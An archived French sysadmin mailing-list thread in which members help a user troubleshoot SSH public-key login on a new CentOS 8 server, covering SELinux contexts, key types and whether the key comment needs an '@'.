Merci Vincent pour tes retours. Le 24/07/2020 à 16:07, Vincent Tondellier via FRsAG a écrit : On vendredi 24 juillet 2020 15:21:39 CEST, Laurent Barme wrote: Sous Debian, la valeur de -C peut être un simple texte. Je constate que sous CentOS il _faut_ que ce "simple commentaire libre" contienne un @ et c'est ça qui me parait surprenant. Ce n'est pas du tout ce que je constate. Le commentaire de mes clés est uniquement mon login, partout, que ce soit debian, centos 7 / 8, openwrt ... Par exemple sur une centos 8 de test : $ ssh root@centos8 Enter passphrase for key 'xxx/.ssh/id_ed25519': Last login: Fri Jul 24 14:42:51 2020 from x [root@centos8 ~]# cat /etc/centos-release CentOS Linux release 8.1.1911 (Core) [root@centos8 ~]# cat .ssh/authorized_keys ssh-ed25519 tondellier A part que j'ai une clé de type RSA et : # cat /etc/centos-release CentOS Linux release 8.2.2004 (Core) Je ne vois pas pourquoi je n'observe pas la même chose que toi : Je ne peux pas me connecter avec ma clé privée habituelle qui n'a pas de @ dans son commentaire (je ne prend un Permission denied (publickey).) mais je peux me connecter avec une autre clé privée qui a un @ dans son commentaire. Et j'ai pensé à cette solution car je me souviens d'un échange (il y a longtemps) avec un technicien d'un support qui m'affirmait que le commentaire devait être une adresse mail valide. Peut-être est que le problème est ailleurs... Je viens de refaire un essai avec une nouvelle clé en ed25519 et un commentaire sans @ et là ça marche !? Quoiqu'il en soit, je parviens bien à me connecter avec une clé ssh sur mon serveur en CentOS 8 et ça me va. Et je viens de tester aussi, le commentaire ne semble même pas obligatoire. ___ Je n'ai pas testé sans commentaire ; cela me semble utile de savoir à quelle clé on a affaire. ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Ou trouver de la doc sur CentOS 8 ?
Le 24/07/2020 à 14:59, Vincent Tondellier via FRsAG a écrit : On vendredi 24 juillet 2020 12:51:20 CEST, Laurent Barme wrote: Je parviens enfin à me connecter avec une autre clé ssh de même type mais avec un -C lb@ Attention avec le -C/-oCompression=yes, j'ai déjà vu plein de gens se plaindre que les transferts de fichier rsync/scp/sftp étaient très lent. Oui, gzip c'est lent ... En l'occurrence, le -C dont je parle est celui de l'option de ssh-keygen ; a priori je ne vois pas trop de rapport avec gzip... C'est dingue : il faut impérativement une adresse mail en commentaire de la clé ! Il faut simplement respecter le format de fichier, comme expliqué dans la page de man : "Public keys consist of the following space-separated fields: options, keytype, base64-encoded key, comment. The options field is optional." Et ce n'est pas un email, c'est un simple commentaire libre dont le format par défaut est $USER@$HOST Ok, c'est logique mais la page mail ne précise pas que le commentaire _doit_ être de la forme user@host et les nombreux exemples que l'on peut trouver sur Internet prennent une adresse mail comme exemple de commentaire qui a généré la clé. Bien pratique pour savoir qui a les accès. "The comment field is not used for anything (but may be convenient for the user to identify the key)" Sous Debian, la valeur de -C peut être un simple texte. Je constate que sous CentOS il _faut_ que ce "simple commentaire libre" contienne un @ et c'est ça qui me parait surprenant. On vendredi 24 juillet 2020 12:38:44 CEST, Laurent Barme wrote: Il faut un type de clé spécial pour CentOS 8 ? A ma connaissance le OpenSSH des centos n'est pas trop patché, les algos supportés sont donc ceux dispo dans la version de OpenSSH (8.0p1) : RSA, ECC, et (recommandé) Ed25519 ___ Liste de diffusion du FRsAG http://www.frsag.org/ ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Ou trouver de la doc sur CentOS 8 ?
Bravo Charles-Henri !
Je parviens enfin à me connecter avec une autre clé ssh de même type mais avec
un -C lb@
C'est dingue : il faut impérativement une adresse mail en commentaire de la clé
!
Le 24/07/2020 à 12:38, Laurent Barme a écrit :
Ah, c'est une idée intéressante...
Cette clé fonctionne sur mes autres serveurs. C'est une clé de type RSA 4096 ,
générée par un bête :
ssh-keygen -t rsa -b 4096 -C lb
Il faut un type de clé spécial pour CentOS 8 ?
Le 24/07/2020 à 12:27, Charles-Henri BERNARD a écrit :
Bonjour,
Quelle type de clé ? Es-tu sûr qu'elle est bien prise en charge par le
serveur SSH et qu'elle n'est pas dépréciée ?
Le ven. 24 juil. 2020 à 11:55, Laurent Barme <2...@barme.fr
<mailto:2...@barme.fr>> a écrit :
Bonjour,
Je ne parviens pas à me connecter avec ma clé ssh sur un serveur fraichement
installé sous CentOS 8 :-( (mes connaissances en CentOS 8 sont toutes aussi
fraiches que l'installation du serveur).
Pourtant, j'ai bien ma clé ssh publique dans le
~centos/.ssh/authorized_keys et
d'après ce que je peux trouver sur ggl, cela devrait suffire.
J'ai tenté l'adaptation des AllowUsers et PubkeyAuthentication dans
/etc/ssh/sshd_config suivi d'un systemctl restart sshd mais sans effet.
Souci supplémentaire, la page
https://wiki.centos.org/TipsAndTricks/SshTips/SshKeyAuthentication me
retourne
un beau :
"Vous n'êtes pas autorisé à lire cette page."
qui persiste même après la création d'un compte et l'identification sur
wiki.centos.org <http://wiki.centos.org> avec ce compte.
Tout indice pour résoudre ces problèmes seraient les bienvenus.
Cordialement,
Laurent Barme.
___
Liste de diffusion du FRsAG
http://www.frsag.org/
___
Liste de diffusion du FRsAG
http://www.frsag.org/
___
Liste de diffusion du FRsAG
http://www.frsag.org/
Re: [FRsAG] Ou trouver de la doc sur CentOS 8 ?
Ah, c'est une idée intéressante...
Cette clé fonctionne sur mes autres serveurs. C'est une clé de type RSA 4096 ,
générée par un bête :
ssh-keygen -t rsa -b 4096 -C lb
Il faut un type de clé spécial pour CentOS 8 ?
Le 24/07/2020 à 12:27, Charles-Henri BERNARD a écrit :
Bonjour,
Quelle type de clé ? Es-tu sûr qu'elle est bien prise en charge par le serveur
SSH et qu'elle n'est pas dépréciée ?
Le ven. 24 juil. 2020 à 11:55, Laurent Barme <2...@barme.fr
<mailto:2...@barme.fr>> a écrit :
Bonjour,
Je ne parviens pas à me connecter avec ma clé ssh sur un serveur fraichement
installé sous CentOS 8 :-( (mes connaissances en CentOS 8 sont toutes aussi
fraiches que l'installation du serveur).
Pourtant, j'ai bien ma clé ssh publique dans le
~centos/.ssh/authorized_keys et
d'après ce que je peux trouver sur ggl, cela devrait suffire.
J'ai tenté l'adaptation des AllowUsers et PubkeyAuthentication dans
/etc/ssh/sshd_config suivi d'un systemctl restart sshd mais sans effet.
Souci supplémentaire, la page
https://wiki.centos.org/TipsAndTricks/SshTips/SshKeyAuthentication me
retourne
un beau :
"Vous n'êtes pas autorisé à lire cette page."
qui persiste même après la création d'un compte et l'identification sur
wiki.centos.org <http://wiki.centos.org> avec ce compte.
Tout indice pour résoudre ces problèmes seraient les bienvenus.
Cordialement,
Laurent Barme.
___
Liste de diffusion du FRsAG
http://www.frsag.org/
___
Liste de diffusion du FRsAG
http://www.frsag.org/
Re: [FRsAG] Ou trouver de la doc sur CentOS 8 ?
C'est bien /home/centos Le 24/07/2020 à 12:05, Benoit SERRA a écrit : Home directory ailleurs que dans /home ? -- Benoit SERRA Sent with Airmail Le 24 juillet 2020 à 12:00:23, julien.rou...@orange.com (julien.rou...@orange.com <mailto:julien.rou...@orange.com>) a écrit: Hello Soucis de selinux ? Cela arrive avec l'utilisation de la commande ssh-copy-id Tente cela restorecon -Rv ~centos/.ssh/ Bonne Journée Julien On 20-07-24 11:53:38, Laurent Barme wrote: Bonjour, Je ne parviens pas à me connecter avec ma clé ssh sur un serveur fraichement installé sous CentOS 8 :-( (mes connaissances en CentOS 8 sont toutes aussi fraiches que l'installation du serveur). Pourtant, j'ai bien ma clé ssh publique dans le ~centos/.ssh/authorized_keys et d'après ce que je peux trouver sur ggl, cela devrait suffire. J'ai tenté l'adaptation des AllowUsers et PubkeyAuthentication dans /etc/ssh/sshd_config suivi d'un systemctl restart sshd mais sans effet. Souci supplémentaire, la page https://wiki.centos.org/TipsAndTricks/SshTips/SshKeyAuthentication me retourne un beau : "Vous n'êtes pas autorisé à lire cette page." qui persiste même après la création d'un compte et l'identification sur wiki.centos.org avec ce compte. Tout indice pour résoudre ces problèmes seraient les bienvenus. Cordialement, Laurent Barme. ___ Liste de diffusion du FRsAG http://www.frsag.org/ ___ Liste de diffusion du FRsAG http://www.frsag.org/ ___ Liste de diffusion du FRsAG http://www.frsag.org/
[FRsAG] Ou trouver de la doc sur CentOS 8 ?
Bonjour, Je ne parviens pas à me connecter avec ma clé ssh sur un serveur fraichement installé sous CentOS 8 :-( (mes connaissances en CentOS 8 sont toutes aussi fraiches que l'installation du serveur). Pourtant, j'ai bien ma clé ssh publique dans le ~centos/.ssh/authorized_keys et d'après ce que je peux trouver sur ggl, cela devrait suffire. J'ai tenté l'adaptation des AllowUsers et PubkeyAuthentication dans /etc/ssh/sshd_config suivi d'un systemctl restart sshd mais sans effet. Souci supplémentaire, la page https://wiki.centos.org/TipsAndTricks/SshTips/SshKeyAuthentication me retourne un beau : "Vous n'êtes pas autorisé à lire cette page." qui persiste même après la création d'un compte et l'identification sur wiki.centos.org avec ce compte. Tout indice pour résoudre ces problèmes seraient les bienvenus. Cordialement, Laurent Barme. ___ Liste de diffusion du FRsAG http://www.frsag.org/
